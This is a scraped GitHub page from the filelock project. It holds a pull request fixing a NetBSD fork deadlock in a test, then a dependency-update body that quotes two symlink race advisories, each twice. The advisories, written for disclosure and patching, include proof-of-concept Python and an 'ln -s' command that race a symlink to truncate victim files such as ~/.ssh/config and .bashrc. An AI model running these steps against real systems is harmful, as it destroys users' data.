🧪 test(fork): fork once the event loop has closed by gaborbernat · Pull Request #714 · tox-dev/filelock

gaborbernat · 2026-08-22T22:33:45Z

Closes #707.

test_cancelled_async_acquire_unregisters_reused_descriptor forks from inside the coroutine, one statement after await loop.shutdown_default_executor(). That await joins the executor worker the canceled acquire left behind, but Thread.join() returns as soon as the interpreter releases the thread state, while the OS thread is still unwinding. NetBSD deadlocks a child forked from a process that still carries one, so the fork wedges, os.waitpid never returns, and the 10 second subprocess timeout kills the interpreter with SIGKILL. That is the returncode: -9 in the report.

The descriptor swap and the fork move to module scope, after asyncio.run() has closed the loop and the runner has shut the executor down. The script then leaves the worker time to go and checks threading.active_count(), exiting 6 rather than forking on a thread that is still counted. The subprocess timeout goes to 30 seconds so a slow builder is not the failure mode either.

I have no NetBSD machine, so this is reasoned from the report rather than reproduced: the run reaches the fork and hangs there, and the window between the join and the fork is the only NetBSD-specific thing in the script. @0-wiz-0, could you run the suite with this branch? If it still fails, exit code 6 says a thread outlived the loop, and any other outcome puts the deadlock elsewhere, where a backtrace of the wedged process would tell us where.

The canceled-acquire test forked from inside the coroutine, right after awaiting shutdown_default_executor(). Thread.join() returns once the interpreter releases the thread state, while the OS thread is still unwinding, and NetBSD deadlocks a child forked from a process that still carries one, so the fork wedged and the 10s subprocess timeout killed it (tox-dev#707). Move the descriptor swap and the fork to module scope, after asyncio.run has closed the loop, leave the worker time to go, and report a thread that is still counted rather than forking on it. Raise the subprocess timeout to 30s so a slow builder is not the failure mode either.

0-wiz-0 · 2026-08-23T04:32:48Z

I've tested 3.32.3 with this patch applied on top, and get 1248 passed, 58 skipped - the test failure is fixed. Thank you!

NetBSD has wedged `test_cancelled_async_acquire_unregisters_reused_descriptor` twice, in #689 and again in #707. Both reports arrived as a `subprocess.TimeoutExpired` with return code -9, naming neither side of the fork. #693 and #714 each read the surrounding code and changed what looked wrong, and no one has run either change on the platform. Every wait in that script is bounded, so a stall means a defect rather than a slow builder. A SIGALRM watchdog now prints each thread's stack and exits 7, which reaches the `result.stderr` the assertion already reports. The watchdog also kills the forked child before it exits. That child inherits the captured stdout and stderr pipes, and `subprocess.run()` waits for those to close even after it kills the process it started, so a wedged child blocks the parent test past its own timeout. I injected a stall on each side of the fork to check both paths. A stalled parent and a wedged child each report at 15 seconds with a stack naming the blocked line, and `subprocess.run()` returns instead of waiting on the pipes. The change touches one test, so it carries the `skip news` label.

This PR contains the following updates: | Package | Change | [Age](https://docs.renovatebot.com/merge-confidence/) | [Confidence](https://docs.renovatebot.com/merge-confidence/) | |---|---|---|---| | [filelock](https://redirect.github.com/tox-dev/py-filelock) | `3.32.3` → `3.32.4` | ![age](https://developer.mend.io/api/mc/badges/age/pypi/filelock/3.32.4?slim=true) | ![confidence](https://developer.mend.io/api/mc/badges/confidence/pypi/filelock/3.32.3/3.32.4?slim=true) | --- ### filelock has a TOCTOU race condition which allows symlink attacks during lock file creation [CVE-2025-68146](https://nvd.nist.gov/vuln/detail/CVE-2025-68146) / [GHSA-w853-jp5j-5j7f](https://redirect.github.com/advisories/GHSA-w853-jp5j-5j7f) / PYSEC-2026-1375 <details> <summary>More information</summary> #### Details ##### Impact A Time-of-Check-Time-of-Use (TOCTOU) race condition allows local attackers to corrupt or truncate arbitrary user files through symlink attacks. The vulnerability exists in both Unix and Windows lock file creation where filelock checks if a file exists before opening it with O_TRUNC. An attacker can create a symlink pointing to a victim file in the time gap between the check and open, causing os.open() to follow the symlink and truncate the target file. **Who is impacted:** All users of filelock on Unix, Linux, macOS, and Windows systems. The vulnerability cascades to dependent libraries: - **virtualenv users**: Configuration files can be overwritten with virtualenv metadata, leaking sensitive paths - **PyTorch users**: CPU ISA cache or model checkpoints can be corrupted, causing crashes or ML pipeline failures - **poetry/tox users**: through using virtualenv or filelock on their own. Attack requires local filesystem access and ability to create symlinks (standard user permissions on Unix; Developer Mode on Windows 10+). Exploitation succeeds within 1-3 attempts when lock file paths are predictable. ##### Patches Fixed in version **3.20.1**. **Unix/Linux/macOS fix:** Added O_NOFOLLOW flag to os.open() in UnixFileLock.\_acquire() to prevent symlink following. **Windows fix:** Added GetFileAttributesW API check to detect reparse points (symlinks/junctions) before opening files in WindowsFileLock.\_acquire(). **Users should upgrade to filelock 3.20.1 or later immediately.** ##### Workarounds If immediate upgrade is not possible: 1. Use SoftFileLock instead of UnixFileLock/WindowsFileLock (note: different locking semantics, may not be suitable for all use cases) 2. Ensure lock file directories have restrictive permissions (chmod 0700) to prevent untrusted users from creating symlinks 3. Monitor lock file directories for suspicious symlinks before running trusted applications **Warning:** These workarounds provide only partial mitigation. The race condition remains exploitable. Upgrading to version 3.20.1 is strongly recommended. ______________________________________________________________________ ##### Technical Details: How the Exploit Works ##### The Vulnerable Code Pattern **Unix/Linux/macOS** (`src/filelock/_unix.py:39-44`): ```python def _acquire(self) -> None: ensure_directory_exists(self.lock_file) open_flags = os.O_RDWR | os.O_TRUNC # (1) Prepare to truncate if not Path(self.lock_file).exists(): # (2) CHECK: Does file exist? open_flags |= os.O_CREAT fd = os.open(self.lock_file, open_flags, ...) # (3) USE: Open and truncate ``` **Windows** (`src/filelock/_windows.py:19-28`): ```python def _acquire(self) -> None: raise_on_not_writable_file(self.lock_file) # (1) Check writability ensure_directory_exists(self.lock_file) flags = os.O_RDWR | os.O_CREAT | os.O_TRUNC # (2) Prepare to truncate fd = os.open(self.lock_file, flags, ...) # (3) Open and truncate ``` ##### The Race Window The vulnerability exists in the gap between operations: **Unix variant:** ``` Time Victim Thread Attacker Thread ---- ------------- --------------- T0 Check: lock_file exists? → False T1 ↓ RACE WINDOW T2 Create symlink: lock → victim_file T3 Open lock_file with O_TRUNC → Follows symlink → Opens victim_file → Truncates victim_file to 0 bytes! ☠️ ``` **Windows variant:** ``` Time Victim Thread Attacker Thread ---- ------------- --------------- T0 Check: lock_file writable? T1 ↓ RACE WINDOW T2 Create symlink: lock → victim_file T3 Open lock_file with O_TRUNC → Follows symlink/junction → Opens victim_file → Truncates victim_file to 0 bytes! ☠️ ``` ##### Step-by-Step Attack Flow **1. Attacker Setup:** ```python ##### Attacker identifies target application using filelock lock_path = "/tmp/myapp.lock" # Predictable lock path victim_file = "/home/victim/.ssh/config" # High-value target ``` **2. Attacker Creates Race Condition:** ```python import os import threading def attacker_thread(): # Remove any existing lock file try: os.unlink(lock_path) except FileNotFoundError: pass # Create symlink pointing to victim file os.symlink(victim_file, lock_path) print(f"[Attacker] Created: {lock_path} → {victim_file}") ##### Launch attack threading.Thread(target=attacker_thread).start() ``` **3. Victim Application Runs:** ```python from filelock import UnixFileLock ##### Normal application code lock = UnixFileLock("/tmp/myapp.lock") lock.acquire() # ← VULNERABILITY TRIGGERED HERE ##### At this point, /home/victim/.ssh/config is now 0 bytes! ``` **4. What Happens Inside os.open():** On Unix systems, when `os.open()` is called: ```c // Linux kernel behavior (simplified) int open(const char *pathname, int flags) { struct file *f = path_lookup(pathname); // Resolves symlinks by default! if (flags & O_TRUNC) { truncate_file(f); // ← Truncates the TARGET of the symlink } return file_descriptor; } ``` Without `O_NOFOLLOW` flag, the kernel follows the symlink and truncates the target file. ##### Why the Attack Succeeds Reliably **Timing Characteristics:** - **Check operation** (Path.exists()): ~100-500 nanoseconds - **Symlink creation** (os.symlink()): ~1-10 microseconds - **Race window**: ~1-5 microseconds (very small but exploitable) - **Thread scheduling quantum**: ~1-10 milliseconds **Success factors:** 1. **Tight loop**: Running attack in a loop hits the race window within 1-3 attempts 2. **CPU scheduling**: Modern OS thread schedulers frequently context-switch during I/O operations 3. **No synchronization**: No atomic file creation prevents the race 4. **Symlink speed**: Creating symlinks is extremely fast (metadata-only operation) ##### Real-World Attack Scenarios **Scenario 1: virtualenv Exploitation** ```python ##### Victim runs: python -m venv /tmp/myenv ##### Attacker racing to create: os.symlink("/home/victim/.bashrc", "/tmp/myenv/pyvenv.cfg") ##### Result: /home/victim/.bashrc overwritten with: ##### home = /usr/bin/python3 ##### include-system-site-packages = false ##### version = 3.11.2 ##### ← Original .bashrc contents LOST + virtualenv metadata LEAKED to attacker ``` **Scenario 2: PyTorch Cache Poisoning** ```python ##### Victim runs: import torch ##### PyTorch checks CPU capabilities, uses filelock on cache ##### Attacker racing to create: os.symlink("/home/victim/.torch/compiled_model.pt", "/home/victim/.cache/torch/cpu_isa_check.lock") ##### Result: Trained ML model checkpoint truncated to 0 bytes ##### Impact: Weeks of training lost, ML pipeline DoS ``` ##### Why Standard Defenses Don't Help **File permissions don't prevent this:** - Attacker doesn't need write access to victim_file - os.open() with O_TRUNC follows symlinks using the *victim's* permissions - The victim process truncates its own file **Directory permissions help but aren't always feasible:** - Lock files often created in shared /tmp directory (mode 1777) - Applications may not control lock file location - Many apps use predictable paths in user-writable directories **File locking doesn't prevent this:** - The truncation happens *during* the open() call, before any lock is acquired - fcntl.flock() only prevents concurrent lock acquisition, not symlink attacks ##### Exploitation Proof-of-Concept Results From empirical testing with the provided PoCs: **Simple Direct Attack** (`filelock_simple_poc.py`): - Success rate: 33% per attempt (1 in 3 tries) - Average attempts to success: 2.1 - Target file reduced to 0 bytes in \<100ms **virtualenv Attack** (`weaponized_virtualenv.py`): - Success rate: ~90% on first attempt (deterministic timing) - Information leaked: File paths, Python version, system configuration - Data corruption: Complete loss of original file contents **PyTorch Attack** (`weaponized_pytorch.py`): - Success rate: 25-40% per attempt - Impact: Application crashes, model loading failures - Recovery: Requires cache rebuild or model retraining **Discovered and reported by:** George Tsigourakos (@tsigouris007) #### Severity - CVSS Score: 6.3 / 10 (Medium) - Vector String: `CVSS:3.1/AV:L/AC:H/PR:L/UI:N/S:U/C:N/I:H/A:H` #### References - [https://github.com/tox-dev/filelock/security/advisories/GHSA-w853-jp5j-5j7f](https://redirect.github.com/tox-dev/filelock/security/advisories/GHSA-w853-jp5j-5j7f) - [https://github.com/tox-dev/filelock/commit/4724d7f8c3393ec1f048c93933e6e3e6ec321f0e](https://redirect.github.com/tox-dev/filelock/commit/4724d7f8c3393ec1f048c93933e6e3e6ec321f0e) - [https://github.com/tox-dev/filelock](https://redirect.github.com/tox-dev/filelock) - [https://github.com/tox-dev/filelock/releases/tag/3.20.1](https://redirect.github.com/tox-dev/filelock/releases/tag/3.20.1) - [https://learn.microsoft.com/en-us/windows/win32/fileio/file-attribute-constants](https://learn.microsoft.com/en-us/windows/win32/fileio/file-attribute-constants) - [https://pubs.opengroup.org/onlinepubs/9699919799/functions/open.html](https://pubs.opengroup.org/onlinepubs/9699919799/functions/open.html) This data is provided by [OSV](https://osv.dev/vulnerability/GHSA-w853-jp5j-5j7f) and the [GitHub Advisory Database](https://redirect.github.com/github/advisory-database) ([CC-BY 4.0](https://redirect.github.com/github/advisory-database/blob/main/LICENSE.md)). </details> --- ### filelock has a TOCTOU race condition which allows symlink attacks during lock file creation [CVE-2025-68146](https://nvd.nist.gov/vuln/detail/CVE-2025-68146) / [GHSA-w853-jp5j-5j7f](https://redirect.github.com/advisories/GHSA-w853-jp5j-5j7f) / PYSEC-2026-1375 <details> <summary>More information</summary> #### Details ##### Impact A Time-of-Check-Time-of-Use (TOCTOU) race condition allows local attackers to corrupt or truncate arbitrary user files through symlink attacks. The vulnerability exists in both Unix and Windows lock file creation where filelock checks if a file exists before opening it with O_TRUNC. An attacker can create a symlink pointing to a victim file in the time gap between the check and open, causing os.open() to follow the symlink and truncate the target file. **Who is impacted:** All users of filelock on Unix, Linux, macOS, and Windows systems. The vulnerability cascades to dependent libraries: - **virtualenv users**: Configuration files can be overwritten with virtualenv metadata, leaking sensitive paths - **PyTorch users**: CPU ISA cache or model checkpoints can be corrupted, causing crashes or ML pipeline failures - **poetry/tox users**: through using virtualenv or filelock on their own. Attack requires local filesystem access and ability to create symlinks (standard user permissions on Unix; Developer Mode on Windows 10+). Exploitation succeeds within 1-3 attempts when lock file paths are predictable. ##### Patches Fixed in version **3.20.1**. **Unix/Linux/macOS fix:** Added O_NOFOLLOW flag to os.open() in UnixFileLock.\_acquire() to prevent symlink following. **Windows fix:** Added GetFileAttributesW API check to detect reparse points (symlinks/junctions) before opening files in WindowsFileLock.\_acquire(). **Users should upgrade to filelock 3.20.1 or later immediately.** ##### Workarounds If immediate upgrade is not possible: 1. Use SoftFileLock instead of UnixFileLock/WindowsFileLock (note: different locking semantics, may not be suitable for all use cases) 2. Ensure lock file directories have restrictive permissions (chmod 0700) to prevent untrusted users from creating symlinks 3. Monitor lock file directories for suspicious symlinks before running trusted applications **Warning:** These workarounds provide only partial mitigation. The race condition remains exploitable. Upgrading to version 3.20.1 is strongly recommended. ______________________________________________________________________ ##### Technical Details: How the Exploit Works ##### The Vulnerable Code Pattern **Unix/Linux/macOS** (`src/filelock/_unix.py:39-44`): ```python def _acquire(self) -> None: ensure_directory_exists(self.lock_file) open_flags = os.O_RDWR | os.O_TRUNC # (1) Prepare to truncate if not Path(self.lock_file).exists(): # (2) CHECK: Does file exist? open_flags |= os.O_CREAT fd = os.open(self.lock_file, open_flags, ...) # (3) USE: Open and truncate ``` **Windows** (`src/filelock/_windows.py:19-28`): ```python def _acquire(self) -> None: raise_on_not_writable_file(self.lock_file) # (1) Check writability ensure_directory_exists(self.lock_file) flags = os.O_RDWR | os.O_CREAT | os.O_TRUNC # (2) Prepare to truncate fd = os.open(self.lock_file, flags, ...) # (3) Open and truncate ``` ##### The Race Window The vulnerability exists in the gap between operations: **Unix variant:** ``` Time Victim Thread Attacker Thread ---- ------------- --------------- T0 Check: lock_file exists? → False T1 ↓ RACE WINDOW T2 Create symlink: lock → victim_file T3 Open lock_file with O_TRUNC → Follows symlink → Opens victim_file → Truncates victim_file to 0 bytes! ☠️ ``` **Windows variant:** ``` Time Victim Thread Attacker Thread ---- ------------- --------------- T0 Check: lock_file writable? T1 ↓ RACE WINDOW T2 Create symlink: lock → victim_file T3 Open lock_file with O_TRUNC → Follows symlink/junction → Opens victim_file → Truncates victim_file to 0 bytes! ☠️ ``` ##### Step-by-Step Attack Flow **1. Attacker Setup:** ```python ##### Attacker identifies target application using filelock lock_path = "/tmp/myapp.lock" # Predictable lock path victim_file = "/home/victim/.ssh/config" # High-value target ``` **2. Attacker Creates Race Condition:** ```python import os import threading def attacker_thread(): # Remove any existing lock file try: os.unlink(lock_path) except FileNotFoundError: pass # Create symlink pointing to victim file os.symlink(victim_file, lock_path) print(f"[Attacker] Created: {lock_path} → {victim_file}") ##### Launch attack threading.Thread(target=attacker_thread).start() ``` **3. Victim Application Runs:** ```python from filelock import UnixFileLock ##### Normal application code lock = UnixFileLock("/tmp/myapp.lock") lock.acquire() # ← VULNERABILITY TRIGGERED HERE ##### At this point, /home/victim/.ssh/config is now 0 bytes! ``` **4. What Happens Inside os.open():** On Unix systems, when `os.open()` is called: ```c // Linux kernel behavior (simplified) int open(const char *pathname, int flags) { struct file *f = path_lookup(pathname); // Resolves symlinks by default! if (flags & O_TRUNC) { truncate_file(f); // ← Truncates the TARGET of the symlink } return file_descriptor; } ``` Without `O_NOFOLLOW` flag, the kernel follows the symlink and truncates the target file. ##### Why the Attack Succeeds Reliably **Timing Characteristics:** - **Check operation** (Path.exists()): ~100-500 nanoseconds - **Symlink creation** (os.symlink()): ~1-10 microseconds - **Race window**: ~1-5 microseconds (very small but exploitable) - **Thread scheduling quantum**: ~1-10 milliseconds **Success factors:** 1. **Tight loop**: Running attack in a loop hits the race window within 1-3 attempts 2. **CPU scheduling**: Modern OS thread schedulers frequently context-switch during I/O operations 3. **No synchronization**: No atomic file creation prevents the race 4. **Symlink speed**: Creating symlinks is extremely fast (metadata-only operation) ##### Real-World Attack Scenarios **Scenario 1: virtualenv Exploitation** ```python ##### Victim runs: python -m venv /tmp/myenv ##### Attacker racing to create: os.symlink("/home/victim/.bashrc", "/tmp/myenv/pyvenv.cfg") ##### Result: /home/victim/.bashrc overwritten with: ##### home = /usr/bin/python3 ##### include-system-site-packages = false ##### version = 3.11.2 ##### ← Original .bashrc contents LOST + virtualenv metadata LEAKED to attacker ``` **Scenario 2: PyTorch Cache Poisoning** ```python ##### Victim runs: import torch ##### PyTorch checks CPU capabilities, uses filelock on cache ##### Attacker racing to create: os.symlink("/home/victim/.torch/compiled_model.pt", "/home/victim/.cache/torch/cpu_isa_check.lock") ##### Result: Trained ML model checkpoint truncated to 0 bytes ##### Impact: Weeks of training lost, ML pipeline DoS ``` ##### Why Standard Defenses Don't Help **File permissions don't prevent this:** - Attacker doesn't need write access to victim_file - os.open() with O_TRUNC follows symlinks using the *victim's* permissions - The victim process truncates its own file **Directory permissions help but aren't always feasible:** - Lock files often created in shared /tmp directory (mode 1777) - Applications may not control lock file location - Many apps use predictable paths in user-writable directories **File locking doesn't prevent this:** - The truncation happens *during* the open() call, before any lock is acquired - fcntl.flock() only prevents concurrent lock acquisition, not symlink attacks ##### Exploitation Proof-of-Concept Results From empirical testing with the provided PoCs: **Simple Direct Attack** (`filelock_simple_poc.py`): - Success rate: 33% per attempt (1 in 3 tries) - Average attempts to success: 2.1 - Target file reduced to 0 bytes in \<100ms **virtualenv Attack** (`weaponized_virtualenv.py`): - Success rate: ~90% on first attempt (deterministic timing) - Information leaked: File paths, Python version, system configuration - Data corruption: Complete loss of original file contents **PyTorch Attack** (`weaponized_pytorch.py`): - Success rate: 25-40% per attempt - Impact: Application crashes, model loading failures - Recovery: Requires cache rebuild or model retraining **Discovered and reported by:** George Tsigourakos (@tsigouris007) #### Severity - CVSS Score: 6.3 / 10 (Medium) - Vector String: `CVSS:3.1/AV:L/AC:H/PR:L/UI:N/S:U/C:N/I:H/A:H` #### References - [https://github.com/tox-dev/filelock/security/advisories/GHSA-w853-jp5j-5j7f](https://redirect.github.com/tox-dev/filelock/security/advisories/GHSA-w853-jp5j-5j7f) - [https://github.com/tox-dev/filelock/commit/4724d7f8c3393ec1f048c93933e6e3e6ec321f0e](https://redirect.github.com/tox-dev/filelock/commit/4724d7f8c3393ec1f048c93933e6e3e6ec321f0e) - [https://github.com/tox-dev/filelock](https://redirect.github.com/tox-dev/filelock) - [https://github.com/tox-dev/filelock/releases/tag/3.20.1](https://redirect.github.com/tox-dev/filelock/releases/tag/3.20.1) - [https://learn.microsoft.com/en-us/windows/win32/fileio/file-attribute-constants](https://learn.microsoft.com/en-us/windows/win32/fileio/file-attribute-constants) - [https://pubs.opengroup.org/onlinepubs/9699919799/functions/open.html](https://pubs.opengroup.org/onlinepubs/9699919799/functions/open.html) - [https://pypi.org/project/filelock](https://pypi.org/project/filelock) - [https://github.com/advisories/GHSA-w853-jp5j-5j7f](https://redirect.github.com/advisories/GHSA-w853-jp5j-5j7f) - [https://nvd.nist.gov/vuln/detail/CVE-2025-68146](https://nvd.nist.gov/vuln/detail/CVE-2025-68146) This data is provided by [OSV](https://osv.dev/vulnerability/PYSEC-2026-1375) and the [PyPI Advisory Database](https://redirect.github.com/pypa/advisory-database) ([CC-BY 4.0](https://redirect.github.com/pypa/advisory-database/blob/main/LICENSE)). </details> --- ### filelock Time-of-Check-Time-of-Use (TOCTOU) Symlink Vulnerability in SoftFileLock [CVE-2026-22701](https://nvd.nist.gov/vuln/detail/CVE-2026-22701) / [GHSA-qmgc-5h2g-mvrw](https://redirect.github.com/advisories/GHSA-qmgc-5h2g-mvrw) / PYSEC-2026-1374 <details> <summary>More information</summary> #### Details ##### Vulnerability Summary **Title:** Time-of-Check-Time-of-Use (TOCTOU) Symlink Vulnerability in SoftFileLock **Affected Component:** `filelock` package - `SoftFileLock` class **File:** `src/filelock/_soft.py` lines 17-27 **CWE:** CWE-362, CWE-367, CWE-59 --- ##### Description A TOCTOU race condition vulnerability exists in the `SoftFileLock` implementation of the filelock package. An attacker with local filesystem access and permission to create symlinks can exploit a race condition between the permission validation and file creation to cause lock operations to fail or behave unexpectedly. The vulnerability occurs in the `_acquire()` method between `raise_on_not_writable_file()` (permission check) and `os.open()` (file creation). During this race window, an attacker can create a symlink at the lock file path, potentially causing the lock to operate on an unintended target file or leading to denial of service. ##### Attack Scenario ``` 1. Lock attempts to acquire on /tmp/app.lock 2. Permission validation passes 3. [RACE WINDOW] - Attacker creates: ln -s /tmp/important.txt /tmp/app.lock 4. os.open() tries to create lock file 5. Lock operates on attacker-controlled target file or fails ``` --- ##### Impact _What kind of vulnerability is it? Who is impacted?_ This is a **Time-of-Check-Time-of-Use (TOCTOU) race condition vulnerability** affecting any application using `SoftFileLock` for inter-process synchronization. **Affected Users:** - Applications using `filelock.SoftFileLock` directly - Applications using the fallback `FileLock` on systems without `fcntl` support (e.g., GraalPy) **Consequences:** - **Silent lock acquisition failure** - applications may not detect that exclusive resource access is not guaranteed - **Denial of Service** - attacker can prevent lock file creation by maintaining symlink - **Resource serialization failures** - multiple processes may acquire "locks" simultaneously - **Unintended file operations** - lock could operate on attacker-controlled files **CVSS v4.0 Score:** 5.6 (Medium) **Vector:** CVSS:4.0/AV:L/AT:L/PR:L/UI:N/VC:N/VI:L/VA:H/SC:N/SI:N/SA:N **Attack Requirements:** - Local filesystem access to the directory containing lock files - Permission to create symlinks (standard for regular unprivileged users on Unix/Linux) - Ability to time the symlink creation during the narrow race window --- ##### Patches _Has the problem been patched? What versions should users upgrade to?_ Yes, the vulnerability has been patched by adding the `O_NOFOLLOW` flag to prevent symlink following during lock file creation. **Patched Version:** Next release (commit: 255ed068bc85d1ef406e50a135e1459170dd1bf0) **Mitigation Details:** - The `O_NOFOLLOW` flag is added conditionally and gracefully degrades on platforms without support - On platforms with `O_NOFOLLOW` support (most modern systems): symlink attacks are completely prevented - On platforms without `O_NOFOLLOW` (e.g., GraalPy): TOCTOU window remains but is documented **Users should:** - Upgrade to the patched version when available - For critical deployments, consider using `UnixFileLock` or `WindowsFileLock` instead of the fallback `SoftFileLock` --- ##### Workarounds _Is there a way for users to fix or remediate the vulnerability without upgrading?_ For users unable to update immediately: 1. **Avoid `SoftFileLock` in security-sensitive contexts** - use `UnixFileLock` or `WindowsFileLock` when available (these were already patched for CVE-2025-68146) 2. **Restrict filesystem permissions** - prevent untrusted users from creating symlinks in lock file directories: ```bash chmod 700 /path/to/lock/directory ``` 3. **Use process isolation** - isolate untrusted code from lock file paths to prevent symlink creation 4. **Monitor lock operations** - implement application-level checks to verify lock acquisitions are successful before proceeding with critical operations --- ##### References _Are there any links users can visit to find out more?_ - **Similar Vulnerability:** CVE-2025-68146 (TOCTOU vulnerability in UnixFileLock/WindowsFileLock) - **CWE-362 (Concurrent Execution using Shared Resource):** https://cwe.mitre.org/data/definitions/362.html - **CWE-367 (Time-of-check Time-of-use Race Condition):** https://cwe.mitre.org/data/definitions/367.html - **CWE-59 (Improper Link Resolution Before File Access):** https://cwe.mitre.org/data/definitions/59.html - **O_NOFOLLOW documentation:** https://man7.org/linux/man-pages/man2/open.2.html - **GitHub Repository:** https://github.com/tox-dev/filelock --- **Reported by:** George Tsigourakos (@tsigouris007) #### Severity - CVSS Score: 5.3 / 10 (Medium) - Vector String: `CVSS:3.1/AV:L/AC:H/PR:L/UI:N/S:U/C:N/I:L/A:H` #### References - [https://github.com/tox-dev/filelock/security/advisories/GHSA-qmgc-5h2g-mvrw](https://redirect.github.com/tox-dev/filelock/security/advisories/GHSA-qmgc-5h2g-mvrw) - [https://nvd.nist.gov/vuln/detail/CVE-2026-22701](https://nvd.nist.gov/vuln/detail/CVE-2026-22701) - [https://github.com/tox-dev/filelock/commit/255ed068bc85d1ef406e50a135e1459170dd1bf0](https://redirect.github.com/tox-dev/filelock/commit/255ed068bc85d1ef406e50a135e1459170dd1bf0) - [https://github.com/tox-dev/filelock/commit/41b42dd2c72aecf7da83dbda5903b8087dddc4d5](https://redirect.github.com/tox-dev/filelock/commit/41b42dd2c72aecf7da83dbda5903b8087dddc4d5) - [https://github.com/tox-dev/filelock](https://redirect.github.com/tox-dev/filelock) This data is provided by [OSV](https://osv.dev/vulnerability/GHSA-qmgc-5h2g-mvrw) and the [GitHub Advisory Database](https://redirect.github.com/github/advisory-database) ([CC-BY 4.0](https://redirect.github.com/github/advisory-database/blob/main/LICENSE.md)). </details> --- ### filelock Time-of-Check-Time-of-Use (TOCTOU) Symlink Vulnerability in SoftFileLock [CVE-2026-22701](https://nvd.nist.gov/vuln/detail/CVE-2026-22701) / [GHSA-qmgc-5h2g-mvrw](https://redirect.github.com/advisories/GHSA-qmgc-5h2g-mvrw) / PYSEC-2026-1374 <details> <summary>More information</summary> #### Details ##### Vulnerability Summary **Title:** Time-of-Check-Time-of-Use (TOCTOU) Symlink Vulnerability in SoftFileLock **Affected Component:** `filelock` package - `SoftFileLock` class **File:** `src/filelock/_soft.py` lines 17-27 **CWE:** CWE-362, CWE-367, CWE-59 --- ##### Description A TOCTOU race condition vulnerability exists in the `SoftFileLock` implementation of the filelock package. An attacker with local filesystem access and permission to create symlinks can exploit a race condition between the permission validation and file creation to cause lock operations to fail or behave unexpectedly. The vulnerability occurs in the `_acquire()` method between `raise_on_not_writable_file()` (permission check) and `os.open()` (file creation). During this race window, an attacker can create a symlink at the lock file path, potentially causing the lock to operate on an unintended target file or leading to denial of service. ##### Attack Scenario ``` 1. Lock attempts to acquire on /tmp/app.lock 2. Permission validation passes 3. [RACE WINDOW] - Attacker creates: ln -s /tmp/important.txt /tmp/app.lock 4. os.open() tries to create lock file 5. Lock operates on attacker-controlled target file or fails ``` --- ##### Impact _What kind of vulnerability is it? Who is impacted?_ This is a **Time-of-Check-Time-of-Use (TOCTOU) race condition vulnerability** affecting any application using `SoftFileLock` for inter-process synchronization. **Affected Users:** - Applications using `filelock.SoftFileLock` directly - Applications using the fallback `FileLock` on systems without `fcntl` support (e.g., GraalPy) **Consequences:** - **Silent lock acquisition failure** - applications may not detect that exclusive resource access is not guaranteed - **Denial of Service** - attacker can prevent lock file creation by maintaining symlink - **Resource serialization failures** - multiple processes may acquire "locks" simultaneously - **Unintended file operations** - lock could operate on attacker-controlled files **CVSS v4.0 Score:** 5.6 (Medium) **Vector:** CVSS:4.0/AV:L/AT:L/PR:L/UI:N/VC:N/VI:L/VA:H/SC:N/SI:N/SA:N **Attack Requirements:** - Local filesystem access to the directory containing lock files - Permission to create symlinks (standard for regular unprivileged users on Unix/Linux) - Ability to time the symlink creation during the narrow race window --- ##### Patches _Has the problem been patched? What versions should users upgrade to?_ Yes, the vulnerability has been patched by adding the `O_NOFOLLOW` flag to prevent symlink following during lock file creation. **Patched Version:** Next release (commit: 255ed068bc85d1ef406e50a135e1459170dd1bf0) **Mitigation Details:** - The `O_NOFOLLOW` flag is added conditionally and gracefully degrades on platforms without support - On platforms with `O_NOFOLLOW` support (most modern systems): symlink attacks are completely prevented - On platforms without `O_NOFOLLOW` (e.g., GraalPy): TOCTOU window remains but is documented **Users should:** - Upgrade to the patched version when available - For critical deployments, consider using `UnixFileLock` or `WindowsFileLock` instead of the fallback `SoftFileLock` --- ##### Workarounds _Is there a way for users to fix or remediate the vulnerability without upgrading?_ For users unable to update immediately: 1. **Avoid `SoftFileLock` in security-sensitive contexts** - use `UnixFileLock` or `WindowsFileLock` when available (these were already patched for CVE-2025-68146) 2. **Restrict filesystem permissions** - prevent untrusted users from creating symlinks in lock file directories: ```bash chmod 700 /path/to/lock/directory ``` 3. **Use process isolation** - isolate untrusted code from lock file paths to prevent symlink creation 4. **Monitor lock operations** - implement application-level checks to verify lock acquisitions are successful before proceeding with critical operations --- ##### References _Are there any links users can visit to find out more?_ - **Similar Vulnerability:** CVE-2025-68146 (TOCTOU vulnerability in UnixFileLock/WindowsFileLock) - **CWE-362 (Concurrent Execution using Shared Resource):** https://cwe.mitre.org/data/definitions/362.html - **CWE-367 (Time-of-check Time-of-use Race Condition):** https://cwe.mitre.org/data/definitions/367.html - **CWE-59 (Improper Link Resolution Before File Access):** https://cwe.mitre.org/data/definitions/59.html - **O_NOFOLLOW documentation:** https://man7.org/linux/man-pages/man2/open.2.html - **GitHub Repository:** https://github.com/tox-dev/filelock --- **Reported by:** George Tsigourakos (@tsigouris007) #### Severity - CVSS Score: 5.3 / 10 (Medium) - Vector String: `CVSS:3.1/AV:L/AC:H/PR:L/UI:N/S:U/C:N/I:L/A:H` #### References - [https://github.com/tox-dev/filelock/security/advisories/GHSA-qmgc-5h2g-mvrw](https://redirect.github.com/tox-dev/filelock/security/advisories/GHSA-qmgc-5h2g-mvrw) - [https://nvd.nist.gov/vuln/detail/CVE-2026-22701](https://nvd.nist.gov/vuln/detail/CVE-2026-22701) - [https://github.com/tox-dev/filelock/commit/255ed068bc85d1ef406e50a135e1459170dd1bf0](https://redirect.github.com/tox-dev/filelock/commit/255ed068bc85d1ef406e50a135e1459170dd1bf0) - [https://github.com/tox-dev/filelock/commit/41b42dd2c72aecf7da83dbda5903b8087dddc4d5](https://redirect.github.com/tox-dev/filelock/commit/41b42dd2c72aecf7da83dbda5903b8087dddc4d5) - [https://github.com/tox-dev/filelock](https://redirect.github.com/tox-dev/filelock) - [https://pypi.org/project/filelock](https://pypi.org/project/filelock) - [https://github.com/advisories/GHSA-qmgc-5h2g-mvrw](https://redirect.github.com/advisories/GHSA-qmgc-5h2g-mvrw) This data is provided by [OSV](https://osv.dev/vulnerability/PYSEC-2026-1374) and the [PyPI Advisory Database](https://redirect.github.com/pypa/advisory-database) ([CC-BY 4.0](https://redirect.github.com/pypa/advisory-database/blob/main/LICENSE)). </details> --- ### Release Notes <details> <summary>tox-dev/py-filelock (filelock)</summary> ### [`v3.32.4`](https://redirect.github.com/tox-dev/filelock/releases/tag/3.32.4) [Compare Source](https://redirect.github.com/tox-dev/py-filelock/compare/3.32.3...3.32.4)  #### What's Changed - 🐛 fix: retry transient denials on open and claim read by [@gaborbernat](https://redirect.github.com/gaborbernat) in [tox-dev/filelock#705](https://redirect.github.com/tox-dev/filelock/pull/705) - 🧪 test: deflake six scheduled-run failures by 